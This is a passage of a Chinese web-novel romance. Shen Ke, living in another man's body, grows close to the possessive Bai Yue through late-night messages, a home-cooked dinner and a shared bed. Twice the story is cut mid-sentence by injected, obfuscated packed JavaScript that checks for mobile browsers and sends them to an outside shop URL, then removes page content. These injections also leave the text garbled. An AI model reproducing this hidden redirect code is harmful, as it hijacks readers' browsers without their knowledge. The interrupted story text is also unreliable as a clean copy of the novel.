温家司机带着三人驶离会所的时候,沈恪终于敢大口呼吸了。 祈愿坐到了副驾,司机升上了隔音板,后排就沈恪和白越二人。沈恪靠在座椅上,整个人像被抽空了力气,眼睛半眯着,脑袋一点一点往旁边歪。 白越看着他,唇角微微扬起:“累了?” 沈恪点点头:“有一点点……就是被看了好久。” 白越没说话,只是伸手把他的脑袋轻轻拨到自己肩上:“靠着睡一会儿。” 沈恪嗯了一声,乖乖靠着。车开得很稳,隔音很好,外面什么都听不见。只有车厢里一点淡淡的香氛味道,还有白越身上那种温软的檀木暖香,闻久了,困困的。 过了好一会儿,沈恪忽然开口:“白越。” “嗯?” “于送风说的那些话我没有信。” 白越的手指微微收紧,车里安静了几秒。 沈恪抬起头,看着他,语气认真得有点可爱。那双眼睛在昏暗的车厢里亮亮的,夜色落在里面,碎了,成了一小片一小片的光:“他说的那些我没有信。但我知道他在骂你。我不喜欢他骂你。” 白越看着他,看着那双干干净净的眼睛,垂下眼,声音轻轻的:“嗯。谢谢宝宝。” 沈恪歪着脑袋看他,忽然眨了眨眼:“你好像……不太高兴?是不是我哪里说错了?还是那些话是真的?” 白越没说话。 “对不起,我不该问的!”沈恪紧张地连连摆手,“你不想说就不说……” “是真的。” 沈恪怔住了。 白越看着他,扯了扯嘴角,又重复一遍:“都是真的。” 是真的? 沈恪眨了眨眼。 他想起白越每次提到家里时那种淡淡的语气,想起他说“从小手就凉”时那个轻飘飘的笑,想起他每次来接自己时永远准时、永远温柔、永远不让任何人看出他有什么不一样。 原来是因为这个。 他一定受过很多委屈了。 沈恪看着他,忽然伸出手,轻轻握住了白越的手:“那你难过吗?” “……” 沈恪等了两秒,没等到回答。他又握紧了一点,抬起头,眼睛亮亮的,露出个软乎乎的没什么心眼的笑:“不难过也没关系。那我帮你难过一会儿吧。” 白越愣了一下:“什么?” “你不是不知道吗?”沈恪歪了歪脑袋,认真地说,“那我来帮你难过。等你以后学会了,你再自己难过。” 他说完,想了想,又补了一句:“不过我难过得不专业,你可别嫌弃。” 白越微微一怔。 难过?他从来没想过这个问题。那些事太久了,久到他早就习惯。 从来没有人说过要帮他难过,也从来没有人觉得他需要被帮。 白越看着他,看着那双认真的眼睛,看着那只握着他的手。 他忽然笑了一下。很轻的一声笑,像是被什么逗笑了,又像是被什么戳了一下。有什么东西在他心脏上划了一道,不疼,但他第一次发现原来那里是空的。 他伸出手,先是覆上沈恪的手背,然后慢慢收拢,手指穿过他的指缝,一寸一寸,直到把那只小小的手完全包裹进自己掌心里。 随后慢慢收紧。 不疼,但挣不开。 “好。”他说,声音低低的,“那你帮我难过一会儿。” 沈恪点点头,靠回他肩上。 过了几秒,他又抬起头:“白越。” “嗯?” “你以后难过的时候,”沈恪看着他,“可以告诉我。” 白越的心口忽然烫了一下。 “我可以……”沈恪想了想,有点不好意思,“可以听你说。虽然可能听不懂,但我可以听。” 白越看着那双半梦半醒的眼睛。还是那么干净,什么都不知道。 他忽然很想试试那张嘴是不是真的会听他说那么多话,很想让它说出别的声音,很想让它只叫自己的名字。 但他没有,他只是把沈恪的手握紧了一点:“……好。” 你说的。 我都记在了心里。 沈恪笑了笑,又靠回他肩上。 车继续往前开。窗外的路灯一盏一盏掠过,光影在两人身上明明灭灭。 夜很静。 白越低头看了一眼肩上的人,眼底漾开一点柔光。 他想,如果有一天沈恪知道他是什么样的人,知道他听过他的呼吸,调查过他的背景,想过那些见不得人的事,那沈恪还会说这种话吗? 他不知道。 但他忽然想,如果可以,他想一直听沈恪说这种话。 说很久。 说到他不记得那些事为止。 *** 车开得又稳又慢。沈恪窝在后座,脑袋歪着,睫毛垂下来,嘴唇微微张着,呼吸又轻又浅,像是下一秒就要睡着了。 白越看了他一会儿,伸出手,用指背轻轻蹭了蹭沈恪的脸颊。沈恪动了动,往他手的方向蹭了蹭。 白越的手指顿了一下。 那些在寿宴上被压下去的念头,又翻涌上来。 想亲他,想让他只看着自己。 ——他说我很好。他没信那些话。他说,他不喜欢别人骂我。 白越的手指从沈恪的脸颊滑到下巴,轻轻抬起来。 如果现在亲下去,他会醒吗?会吓到吗?还是会……像梦里那样,回应他? 沈恪的睫毛颤了颤,迷迷糊糊睁开眼:“白越?” 他的声音又软又哑,像小猫哼唧。 “没什么。”白越轻声道,“想看看你。” 沈恪哦了一声。他努力撑开眼皮,确认白越真的只是在看自己,然后放心地又闭上眼睛。 那就好。 他还以为自己又做错什么了。 想着想着,他自己先笑了。那种困得迷迷糊糊、自己都不知道在笑什么的傻笑,眼睛眯成两条缝,嘴角翘起来一点点。 他又闭上眼睛,脑袋往他肩膀上拱了拱。 “那你看吧。”他嘟囔着,声音越来越小,“我好困……你慢慢看……看够了叫我……” 说完,呼吸就沉了下去。 白越的肩膀瞬间绷紧。 他看着怀里毫无防备的人。沈恪什么都不知道,就这样把自己交过来,像一只蹭暖气的猫,把最软的地方露出来给人摸,说不咬人。可有些野兽看到这一幕,想的不是“好乖”,而是“那我就不客气了”。 但野兽没有那么做。他只是收着那些念头,把沈恪揽进怀里。 沈恪没有动。他太困了,困到连眼睛都睁不开。白越的手搭在他身上,他被那温度包裹着,迷迷糊糊地蹭了蹭,找了个舒服的姿势继续睡。 白越抱着他,下巴抵在他发顶。 怀里的人软软的,热热的,呼吸均匀地扑在他胸口。 他闭上眼。 那些念头还在。潮的,热的,裹着他往下坠。 想亲他,想抱得更紧。 他深吸一口气,把它们压下去。 然后他睁开眼,低头看了一眼。 沈恪睡着的样子很乖,睫毛垂着,嘴唇微微张开,什么都不知道。 白越弯了弯嘴角。 他就这样抱着,一下一下地,轻轻拍着他的后背。 像哄一只睡着的小鹌鹑。 他在心里想:你自己让我看的,你自己让我抱的。 那就别怪我以后不放开了。 过了很久,他低下头,把脸埋进沈恪的发顶,闭上眼睛。 呼吸渐渐平稳下来。 在到家前,他也睡一会吧。 *** 车停在别墅门口,沈恪迷迷糊糊地解开安全带,推开车门,然后发现除了白越,祈愿也跟着下来了。 “你……不回去吗?”他揉着眼睛问。 祈愿斜睨了一眼白越,没什么好气:“送你进去。” 沈恪点了点头,也没多想,转身就往里走。 走到门口的时候,他忽然想起来什么,回过头:“对了,今天谢谢你。” 祈愿站在他身后半步远的地方,闻言挑了挑眉:“谢什么?” 沈恪想了想,也不知道具体谢什么。谢他一直陪着自己?谢他替自己挡那些目光?谢他没有在一开始就戳穿自己的身份? 最后他只能说:“就……谢谢你一直陪着我。” 祈愿看着他。月光落在沈恪脸上,把他的睫毛照成银色的。那双眼睛因为困倦有点湿,润润的,像盛着一小片被打碎的月亮。 他只是扯了扯嘴角:“行了,早点睡。” 沈恪点点头,推开门,走了进去。 白越还站在门外的月光下,没有离开,也没有催。他就那样站着,像是在等什么。 门快关上的时候,沈恪忽然又探出半个脑袋:“白越。” “嗯?” “其实你真的很好的。” 门关上了。 白越站在门外,看着那扇关上的门,愣了好一会儿。 沈恪知道自己在说什么吗?那句话落在他耳朵里,烫得他半夜都睡不着。他得听一整晚沈恪的呼吸声才能把那句话压下去。 他在月光下站了很久。 然后他轻轻笑了一下。 很轻,很短,像是在回味什么。 “好。”他说,声音很轻,像是说给自己听的。 他在心里又补了一句:记下了。 记在手机备忘录里,也记在心里某个很深的地方。 那些“你很好”,他一条一条地记着,一条一条地翻出来,一遍一遍地听。 尤其是半夜睡不着的时候,那些话会在他耳边一遍一遍地响。 他转过身。 祈愿还站在原地,手插在口袋里,脸上没什么表情。 “你也早点回去吧。”白越的语气听起来像在关心老朋友。 祈愿没接话。他看了一眼那扇关上的门,然后转身往自己车的方向走。 走了两步,又停下来。 他摸了摸口袋,空的。 啧。 忘了,他在戒烟。 什么时候开始戒的来着?好像……哪次闲聊,沈恪说“抽烟不好”那次。他就那么随口一说,自己说完就忘了。 但祈愿记住了。 他想起刚才沈恪探出脑袋说那句话的样子,困困的,眼睛却亮亮的。 他忽然想,那个笨蛋,是不是还不知道自己喜欢白越?应该不知道吧。知道了就不会用那种眼神看人了。 祈愿又啧了一声。 他刚要继续走,身后传来一道声音。 “对了,祈愿。” 祈愿脚步一顿,没回头。 白越站在月光下,语气还是那么温和,像在聊家常:“阿然最近睡眠不太好。晚上发消息的话,可能会吵醒他。” 祈愿愣了一下,然后他嗤了一声。 “关我屁事。” 他拉开车门,坐进去,发动车子。 车冲进了夜色之中。 *** 第二天早上,沈恪醒来的时候,发现手机里有十几条消息。 他揉着眼睛点开,然后愣住了。 全是白越发来的。 凌晨1:17:睡了吗? 凌晨1:43:宝宝,我做了一个梦。梦见你跑了。 凌晨2:08:醒来发现是梦,松了一口气。 凌晨2:36:睡不着了。 凌晨3:12:在想你。 凌晨3:47:好想你。 凌晨4:23:想你睡着的样子。 凌晨4:23:【消息已撤回】 凌晨4:24:想你醒来的样子。 凌晨4:24:【消息已撤回】 凌晨4:25:抱歉宝宝,发错了。 凌晨4:26:其实……是更过分的话。 凌晨5:09:想你。 早上7:03:醒了告诉我。 沈恪一条一条往下翻,翻到最底下,脸已经红透了。 他捧着手机,心跳咚咚的。 凌晨四点多撤回的那几条……是什么更过分的话呀? 他盯着屏幕上“其实……是更过分的话”那几个字,脑子里忍不住开始想。 会是什么话呢?比“想你睡着的样子”还过分的话…… 沈恪的耳朵尖开始发烫。 他赶紧把手机扣在胸口,深吸一口气。 不能想不能想。 然后他又把手机捞起来,看了一眼凌晨五点半那条“想你”。五点半,天都快亮了,白越怎么还不睡呀? 他想了想,发了一个: 【然】醒啦 对面秒回。 【白越】早安,宝宝。 【白越】昨晚睡得好吗? 沈恪想了想,老老实实回: 【然】睡得挺好的……你呢? 【白越】不太好。 【白越】一直在想你。 沈恪的脸又红了一度。 【然】你五点半还在发消息……是不是我吵醒你了啊? 【然】对不起。 【白越】不是。 【白越】只是我在等你的消息。 沈恪眨了眨眼。 等等。 他在等自己的消息……等了一整夜?! 从凌晨一点到早上七点,白越根本没睡,就为了等自己醒来回他的消息? 【然】你……你一晚上没睡? 【白越】嗯。 沈恪差点把手机丢出去。 他捧着手机,眼睛瞪得圆圆的,打字的手指都在抖: 【然】怎么能这样!等消息哪有等一整夜的!万一我今天睡懒觉呢!万一我睡到中午呢!你难道要等到中午嘛! 他越打越急,最后加了一句: 【然】你是不是笨蛋! 【白越】没关系的。 【然】有关系! 对面沉默了两秒。 然后: 【白越】宝宝在关心我? 沈恪的手指停在屏幕上。 那几个字跳进眼睛里,他的脸腾地一下烧起来。 【然】我、我只是觉得你这样对身体不好…… 【白越】嗯。 【白越】那我一会去补觉。 【白越】听宝宝的。 沈恪看着那行“听宝宝的”,脑子有点转不过来。 然后白越的消息又来了。 【白越】宝宝。 【然】嗯? 【白越】你昨天说,我很好。 沈恪愣了一下。 那几个字在屏幕上一跳一跳的,像有人用指尖点在他心口上。一下,一下。 【然】是……是啊。 【白越】那你还记得,是什么时候开始觉得我好的吗? 沈恪盯着这个问题,想了很久。 什么时候开始? 是第一次见面?不是,那时候他刚换过来,紧张得要死。 是白越给他做饭的时候?是他告诉自己会为了他种花的时候?是他替他挡廖辰的时候?还是他每天傍晚出现在图书馆、带着饭坐在他旁边的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265409|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候? 他想不起来了。 【然】不记得了。 【然】就是一直觉得你好。 对面沉默了几秒。然后: 【白越】宝宝。 【然】嗯? 【白越】你再说一遍。 沈恪的脸又红了。这人怎么这样啊,昨天不是刚说过嘛。 【然】说什么? 【白越】说我很好。 沈恪:“……” 他把脸埋进枕头里,闷了好一会儿,才把脑袋探出来,一个字一个字地敲: 【然】你真的很好很好很好。 【然】夸我的时候很好,给我做饭的时候很好,帮我吹头发的时候很好,牵我的手的时候很好。 【然】反正就是很好!不许再问了! 【白越】嗯,记下了。 沈恪看着那几个字,总觉得有点不对劲。记下什么? 他还没来得及问,白越的消息又来了。 【白越】晚上来接你。 【白越】我想见你。 沈恪盯着那两行字,心跳漏了一拍。 他回了一个嗯嗯,然后把手机扣在床上,把自己埋进被子里。 他忽然觉得,今天好像有点长。 然后他又把手机捞出来,看了一眼那两条消息。 “晚上来接你。” “我想见你。” 以前的白越也说过类似的话,但总是绕着弯子。比如“宝宝晚上有空吗”,或者“今天天气不错,想和你一起吃饭”,从来不会这么直接地说“我想见你”。 沈恪盯着那几个字看了好几秒。 好像从昨天寿宴结束之后,白越就有点不一样了。 是哪里不一样呢? 他说不上来。 但他知道,以前的白越不会凌晨四点发“在想你”,也不会凌晨五点半发“想你”。更不会在他说完“你很好”之后,一字一句地让他再说一遍。 沈恪把手机扣回枕边,又把脸埋进被子里。 耳朵尖红透了。 他想,白越今天……好像特别直接。 直接得让他有点招架不住。 但好像……也不是不喜欢。 *** 晚上白越来接他的时候,沈恪发现他换了一身衣服。白色的毛衣,看起来软软的,整个人比平时温柔了一百倍。 他站在车旁边,看见沈恪出来,弯了弯眼睛:“上车吧。” 沈恪坐进副驾驶,刚系好安全带,就发现白越在看他:“怎么了?” 白越笑了笑,没说话,只是发动了车子。 车开出去一段,沈恪才反应过来:“我们去哪?” “我家。另一处房产。” “啊?” 白越看了他一眼,语气自然:“做饭给你吃。” 沈恪眨眨眼:“为什么?” 白越想了想,认真回答:“因为你说我很好。” 这是什么逻辑? 沈恪低下头,小声:“但你不就住我隔壁嘛……” “不一样的。”白越摇了摇头,笑着,“带你去的地方,是我母亲给我买的房子。” 沈恪愣了一下:“你妈妈买的?” “嗯。”白越看着前方的路,语气很轻,“她刚嫁进白家的时候就买了,说是给未来孩子准备的。” 沈恪歪了歪脑袋,问:“那你怎么没住那边?” 白越笑了笑,没说话。 *** 车停在一栋老式小区的复式楼前。白越刷卡开门,沈恪跟在他身后走进去。 玄关的灯自动亮起,暖黄色的,照出一室温馨。 客厅很大,米白色的沙发,原木色的茶几,墙上挂着几幅看不懂的画。窗外是城市的夜景,灯光星星点点,像落在黑绒布上的碎钻。 沈恪四处看了看,总觉得哪里不对,看了半天才反应过来。 太干净了。茶几上没有遥控器,沙发上没有靠枕,餐桌上空空的。每样东西都摆得整整齐齐,像样板间,不像有人住过。没有人气。 “白越,”他回过头,“你平时不住这里吗?” 白越正站在玄关换鞋,闻言抬起头:“不怎么来。” 语气还是那么轻,但沈恪听出了一点不一样的东西:“为什么?” 白越看着他,笑了笑:“没人等。” 沈恪愣住了。 他看着白越,看着那张在暖黄色灯光下依旧温柔的脸,忽然不知道说什么。 没人等,所以不来。 那他今天带自己来,是因为…… 有什么东西在胸腔里轻轻炸开。不疼,但是热。热得他有点慌。 沈恪的心跳快了一拍,他慌忙低下头。 这地板可真地板啊。 “想吃什么?”白越走进厨房,问道。 沈恪看着那些食材,忽然想起上次自己做的黑暗料理。 还是不要对厨子提要求了吧。 “你做吧,我负责吃。” 白越笑了:“好。” *** 他在厨房里忙活的时候,沈恪就坐在餐桌旁,撑着下巴看他。 看着看着,他忽然发现白越的耳朵有点红。 “白越。” “嗯?” “你耳朵红了,是不是厨房太热了啊?” 白越手上的动作顿了一下。然后他转过身,走到沈恪面前,微微弯下腰。 “那你帮我吹吹?” 沈恪愣了一下,然后脸腾地红了:“我、我没……” 白越看着他,眼睛弯弯的。 沈恪被他看得心跳加速,最后只能认命地凑过去。 他对着白越的耳朵,鼓起腮帮子,小心翼翼地吹了一下。 吹完赶紧缩回来,低着头不敢看他,耳朵已经红透了。 “吹、吹完了。”他小声说。 那一下很轻,轻得像羽毛扫过。 白越的呼吸停滞了。他站在原地,手上还拿着锅铲,但脑子里那根弦已经绷到最紧。 他没有动,他在等沈恪退回去。 沈恪退了。 白越这才继续炒菜。但他知道,刚才那一下,今晚可能又睡不着了。 “谢谢宝宝。”他直起身,继续回去做饭。 沈恪坐在那里,捂着自己狂跳的心脏,觉得自己好像又被套路了。但他说不上来哪里被套路。 只是看着白越在厨房里的背影,忽然觉得……这样好像也挺好的。 和白越住在一起的话,他在厨房做饭,自己再把饭吃掉,这样的日子好像也很好。每天早上醒来就能看见他,每天晚上睡前也能看见他…… 他倏地脸红了。 这不是同居嘛?! 他赶紧低下头,假装在认真看手机,但耳朵已经红透了。 但脑子里那个念头一直在转。 他赶紧打住,在心里骂了自己一句:你到底在对别人的男朋友想什么呢! 白越是温清然的男朋友,不是他的。 他明明知道,但那个念头就是压不下去。 他偷偷看了一眼厨房里的白越。 白越正在炒菜,背影看起来那么自然,好像什么都没发生。 沈恪又把头低下去了。 他想,要是真的是他的就好了。 这个念头一冒出来,他自己先吓了一跳。 怎么可以肖想别人的对象!! 他低下头,盯着手机屏幕,上面还亮着白越最后发的那条消息。 “我想见你。” 但如果只是想想,又不犯法……吧? 41. 同床共枕 最近白越下厨,好像比从前更用心了。 他以前做饭也用心,食材挑最新鲜的,刀工精细,火候恰到好处,摆盘讲究得能去做美食博主。但现在更不一样了。 比如今天这顿饭。 沈恪坐在餐桌前,看着面前摆着的六菜一汤,陷入了沉思。 “怎么了?”白越端着最后一道菜走出来,在他旁边坐下,“不合胃口?” “不是,”沈恪挠了挠头,“就是……今天不是只有我们两个人吗?” “嗯。” “那为什么……”他指了指桌上的菜,“六个菜?还有一个汤?” 白越顿了顿,唇角扬起:“一不小心做多了。” 沈恪眨眨眼,这一不小心也太不小心了。 但他也没多想,反正白越做什么都有道理。 他拿起筷子,夹了一块糖醋排骨放进嘴里。 好吃。真的好吃。外酥里嫩,酸甜适中,咬下去还有一点点汁水在舌尖化开。 沈恪的眼睛亮了,夸赞脱口而出:“好吃!” 白越的眼底浮起笑意。 沈恪埋头吃饭,一边吃一边夸:“这个排骨好好吃!这个鱼好嫩!白越你好厉害!” 每尝一道菜,他都要抬头看白越一眼,眼睛亮亮的,像是发现了什么了不起的秘密。 白越就坐在旁边,看着他吃,听着他夸,眼底那点笑意一直没散过。偶尔给他夹菜,偶尔说一句“慢点吃”,偶尔只是静静地望着他,不知道在想些什么。 目光落在那随着咀嚼轻轻鼓动的脸颊上,最后停在那被汤汁染得亮晶晶的嘴唇上。 像一只埋头进食的小动物,吃得认真又专注,对周围的一切毫无防备。 白越的目光从他脸上挪开,慢慢滑过握筷子的手指、跟着咀嚼轻晃的肩膀、还有那忽闪忽闪的睫毛。 每一处都刚刚好。 每一处都想碰。 …… 沈恪吃到一半,忽然停下来:“白越。” “嗯?” “你怎么不吃?” 白越看了一眼自己面前的碗,里面只有几口米饭,菜一口没动:“我不饿。” 沈恪眨了眨眼:“你做了这么多,自己不尝尝吗?” 白越笑了笑:“看你吃就够了。” 沈恪一愣,耳朵根慢慢红了。他低下头,嘟囔得含含糊糊:“那你也得吃啊……做了这么久……” 心里却忍不住犯嘀咕:什么叫看我吃就够了啊? 怪怪的。 他想了想,夹了一块最大的排骨,放进白越碗里:“你尝尝!真的很好吃!” 白越低头看着碗里那块排骨。 是沈恪夹给他的。 用他自己的筷子。 白越的筷子顿了一下。然后他夹起那块排骨,放进嘴里。 “好吃吗?”沈恪眼巴巴地盯着他。 白越慢慢嚼着,点了点头:“好吃。” 沈恪笑了,又给他夹了一筷子青菜:“这个也尝尝!” 白越又吃了。 “这个汤!” 白越喝了。 “这个蛋羹!” 白越吃了。 一顿饭下来,沈恪给他夹了七八次菜,每次都眼巴巴地望着他,问“好吃吗”“怎么样”“是不是特别好吃”,白越每次都点头。 吃到后来,沈恪自己都累了,趴在桌上眯起眼睛看向白越,露出个傻气的笑:“白越。” “嗯?” “你怎么这么好哄啊?” 白越微微一怔。 “我给你夹菜你就吃,我夸你你就笑,”沈恪眼底亮晶晶的,“像只大狗一样。” 白越盯着他:“那你是主人吗?” 沈恪一噎,脸瞬间涨红:“我、我不是那个意思……” 主人?他哪有那胆子。 但那个词一出来,他脑子里忽地冒出白越坐在他脚边,仰着头看他的画面。那双总是弯着的眼睛此刻微微眯着,里面的光又深又暗。他伸出手,拉住沈恪的衣角,轻声说:“宝宝。” 太奇怪了太奇怪了! 沈恪赶紧把这个画面赶出去。 脸更红了。 白越没忍住笑了出来,伸手在他发顶揉了一下。 “没关系,”他声音轻轻的,“你想当就当。” 沈恪捂着脑袋,脸红得说不出话。 他没注意到,白越收回的那只手,在桌下慢慢收紧。 想当就当。 他在心里把这四个字嚼了一遍。 如果沈恪真想当,他可以让他当一辈子。他会听话,会乖,会让他以为自己真的是主人。 然后有一天,沈恪会发现,他当的从来都不是主人。 是供奉,是献祭。是一只野兽把自己最柔软的肚皮翻出来,只为他多看自己一眼。 *** 沈恪不知道他在想什么。他埋头继续吃饭,耳朵还有点红。 吃到后来,沈恪忽然放下筷子,认真地看着白越:“白越。” “嗯?” “你怎么什么都会做啊?” 他指了指桌上的菜,语气里全是真诚的惊叹:“每一样都好好吃!你怎么这么厉害?” 白越看着他,微微一怔,随即笑了。 那笑和平常不太一样,有什么东西从很深的地方浮上来,又被压回去。 “因为以前没人管。” 白越垂下眼,语气轻飘飘的,像在说一件和自己无关的事:“小时候,家里没什么人理我。佣人也不怎么喜欢我,觉得我太阴郁了,待在我身边不舒服。” “后来就自己学了不少东西。做饭算是其中之一。” 沈恪愣住了。 他看着白越,看着那张在暖黄灯光下依旧温柔的脸,不知道该说什么。 没人管。佣人也不喜欢他。因为太阴郁了。 那些话落在他耳里,轻飘飘的,却像有什么东西在胸口狠狠撞了一下。 “白越……”他开口,声音有点涩,“没事呢,我在的。” 白越看着他,仍是那副温柔笑着的模样。 “阿然。”白越叫他的名字,声音轻轻的,“你比以前变化了好多。” 沈恪呼吸一滞。 他当然变化了好多,因为他根本就不是温清然。 那些话在喉咙里转了一圈,差一点就冲出来。他张了张嘴,想解释,想说“其实我不是”,想说“你应该知道真相”…… 但他没说。 他看着白越的眼睛,那双倒映着自己的眼睛,忽然失了勇气。 如果说了,白越还会这样看着他吗?还会给他做饭吗?还会握着他的手吗?还会说“想你”吗? 他不知道,但他现在还不想失去这些。 “……人都是会变的。”他小声说。 白越看着他,弯了弯嘴角。 沈恪被他笑得心头发麻,那些念头又乱七八糟地涌上来。 他是谁,他在做什么,他在对别人的男朋友想什么。 但他没有松开握着白越的手,反而握紧了一点。 “以前……”他开口,声音有点抖,“以前真的太过分了。” 那个以前,不是他的以前。 但他想说。 因为白越值得。 白越微微一怔。 沈恪低着头,不敢看他:“对不起。” 他不知道白越听不听得懂,也不知道自己在替谁道歉。他只知道,刚才那些话落进耳朵里,堵得他心头发涩。 白越小时候,没有人管他。白越被人嫌弃,因为他太阴郁了。白越自己学会了所有东西,因为没有人教他。 而他……或者说,温清然,还有白越身边的那些人,哪怕是血亲,也从来没问过这些,从来没关心过。从来没有像现在这样,坐在他对面听他说话。 沈恪忽然觉得很愧疚。 愧疚自己明明心疼他,却还是不敢告诉他真相。 更愧疚的是,占着别人的位置,却贪心地想要这份好。 “我会补偿的。”他抬起头,看着白越,眼眶微微泛红,“以后……我会对你好的。” 白越看着那双泛红的眼睛,心脏像被人轻轻攥了一下。 他垂下眼,把那句“好”轻轻吐出来。 沈恪看着他,看着那张温柔的脸,不知道为什么就有点想哭。 他觉得自己很过分,很卑劣。白越对他这么好,他却连一句真话都不敢说。 他不知道自己能不能补偿得了。 但他想试试。 *** 吃完饭,沈恪趴在桌上,脸还红着,脑袋里乱七八糟的。 “宝宝,寒假有什么打算吗?”白越的声音把他拉回来。 沈恪愣了一下。寒假? 他从来没想过这个问题。以前在医院里,日子一天天过,没什么区别。反正都是躺着,都是输液,都是数天花板上的裂缝。 “不知道……”他小声说,“没什么打算。” 白越看着他,没说话。 沈恪忽然想起一件事。 他好像……很久没想过自己的家人了。 妈妈。爸爸。他们现在在做什么?知道他换到别人身体里了吗?沈霏呢?上次提醒她天冷了要加衣,她也只是回了个“好的谢谢姐夫”,之后不论给她发什么,都再无下文。 他们会不会想他?想真正的沈恪?祈愿能很快看出来自己不对,他们为什么…… 他低下头,盯着面前的碗,没说话。 白越看着他那忽然暗淡下去的眼神,心里动了一下。他没有追问,只是伸手,又在他头上揉了一下。 “没关系。”他说,“之后再想吧。” 沈恪抬起头,看着他。白越的眼睛还是那么温柔,什么多余的情绪都没有。 沈恪忽然觉得,刚才那点难过好像没那么重了。 “嗯。”他点点头。 白越又问:“想出去走走吗?” 沈恪想了想,摇了摇头。 他暂时还只想窝在这里,和白越待在一起。哪里都不想去。 *** 沈恪窝在沙发上看电视。 白越在厨房洗碗,水声哗哗的,偶尔夹杂着碗碟轻碰的脆响。沈恪听着那些声音,忽然觉得有点不真实。 这栋房子太安静了,安静得像是从来没有人住过。 他想起白越说的那句“没人等”。 没人等,所以不来。 那他今天带自己来……是因为自己是他要等的人了吗? 沈恪把脸往沙发里埋了埋,脸颊又开始发烫。 “困了?”白越的声音忽然在耳边响起。 沈恪吓了一跳,抬起头,发现白越不知道什么时候已经洗完碗,站在沙发旁边,正低头看着他。 “没、没有!”他连忙坐直,“就是……有点无聊。” 白越笑了笑,在他旁边坐下。 沙发往下陷了一点,两个人之间的距离一下子拉近了。沈恪能闻到他身上那种淡淡的檀木香,混着一点洗洁精的味道,怪好闻的。 “那看电影?”白越拿起遥控器。 沈恪点点头。 …… 电影放了什么,他其实没怎么看进去。 白越就坐在他旁边,隔着不到一个拳头的距离。他能感觉到那道目光偶尔落在他脸上,又移开,又落回来。 沈恪的心跳一直没慢下来。 电影放到一半,他偷偷瞥了白越一眼。白越正盯着屏幕,侧脸线条在昏暗中格外好看,认真又专注。 沈恪飞快收回视线。过了一会儿,又忍不住看了一眼。 这回,白越正好转过头。 四目相对。 沈恪一怔。 白越勾起唇角:“好看吗?” 沈恪的脸腾地烫起来。 想说“不是”,想说“我没看你”,想说点什么,但舌头像打了结,一个字都说不出来。 白越笑了一下,轻轻握住沈恪搭在沙发上的手。 那只手微凉,骨节分明,穿过他的指缝,十指相扣。 沈恪呼吸一滞。 白越没看他,眼睛还盯着屏幕,像什么都没发生。但他的拇指在沈恪手背上轻轻蹭了一下,两下,三下。 沈恪低头看着交握的手,心跳快得像要从胸腔里蹦出来。 *** 电影放完的时候,窗外已经全黑了。 沈恪看了一眼时间,快十一点了,他该回去了。 但他又不太想动。 白越好像看出了他的犹豫,轻声说:“太晚了,住这里吧。” 沈恪愣住了:“啊?” “客房没收拾。”白越的语气很自然,“只有主卧能睡。” 沈恪张了张嘴,想说“那我回去”,但话到嘴边,又咽了回去。他确实困了。而且……他好像也不太想走。 “……那、那我睡客房也行。”他小声说,“我可以帮你一起收拾。” “不用。”白越站起身,朝他伸出手,“你睡主卧,我睡沙发。” 沈恪看着那只手,又看了看那张沙发。沙发挺大的,但白越个子高,睡着肯定不舒服。 “不行。”他摇了摇头,“你睡主卧,我睡沙发。” 白越看着他,眼睛弯了弯:“那一起睡主卧?” 沈恪愣住了。 一、一起睡? 他的脸又开始发烫。 “床很大。”白越的笑里没展露什么不对,语气甚至有点无辜,“够两个人睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他没看见,白越转过身的那一瞬,嘴角轻轻翘了翘。 是那种“成了”的笑。 *** 主卧比想象中大。一张大床摆在中间,铺着深灰色的床品,看起来软软的。浴室在另一边,磨砂玻璃门关着,透出一点暖黄色的光。 白越从衣柜里拿出一套干净的睡衣,递给沈恪:“先去洗澡?” 沈恪接过睡衣,闷头钻进浴室。 门一关,他终于能喘口气了。镜子里的自己脸红得厉害,耳朵都红透了。 他用冷水洗了把脸,让自己冷静下来。 不就是睡一张床么,又不是没在白越家睡过。可那时候是客房,白越不在一块儿。这次…… 沈恪不敢往下想了。 他洗完澡出来的时候,白越正靠在床头看书。 暖黄的床头灯打在他身上,把整个人照得软了几分。睡衣领口敞着,锁骨以下若隐若现。 沈恪一抬眼,正撞见那片敞开的衣领。 他像被烫到了似的,视线飞快地弹开,盯着地板上的缝隙,不敢抬头。 “洗好了?头发吹干了吗?” 白越的声音从那边传来,低沉沙哑,像是在耳边蹭了一下。 沈恪喉咙发紧,只能点头。 他走到床边,掀开被子,躺了进去。床很软,被子很软,枕头上还有一点淡淡的香。 白越也躺了下来,两个人之间隔着大概一个人的距离。 沈恪盯着天花板,心跳得厉害。 “睡不着?”白越的声音在旁边响起。 沈恪小声嗯了一声。 白越没有说话。 过了几秒,沈恪感觉到他的手在被子里轻轻握住了自己的手。 “那就不睡。”白越的声音很轻,“躺着也行。” 沈恪没吭声,也没把手抽回来。 就那么躺着,被白越握着手,听着他的呼吸。 不知道过了多久,他睡着了。 *** 卧室里很暗,只有窗帘缝隙漏进来一线月光。 等沈恪睡熟了,白越睁开眼。 他侧过头,看着旁边那张安静的睡颜。 沈恪睡得很乖,侧着身,睫毛垂着,嘴巴微微张着,呼吸轻得像没声。那件睡衣的领口有点大,露出一小截锁骨,那截皮肤在月光下白得有些晃眼。 白越的目光在那片皮肤上停住,没有再移开。 良久,他转过身,背对着沈恪。 黑暗里,他无声地深吸一口气。 沈恪还在。在那片黑暗里,在每一根神经末梢里。软的,热的,会小声说“白越”的。 他想把他赶出去,但他做不到。 他只能一遍一遍地,用自己的方式,把他从身体里挤出去。 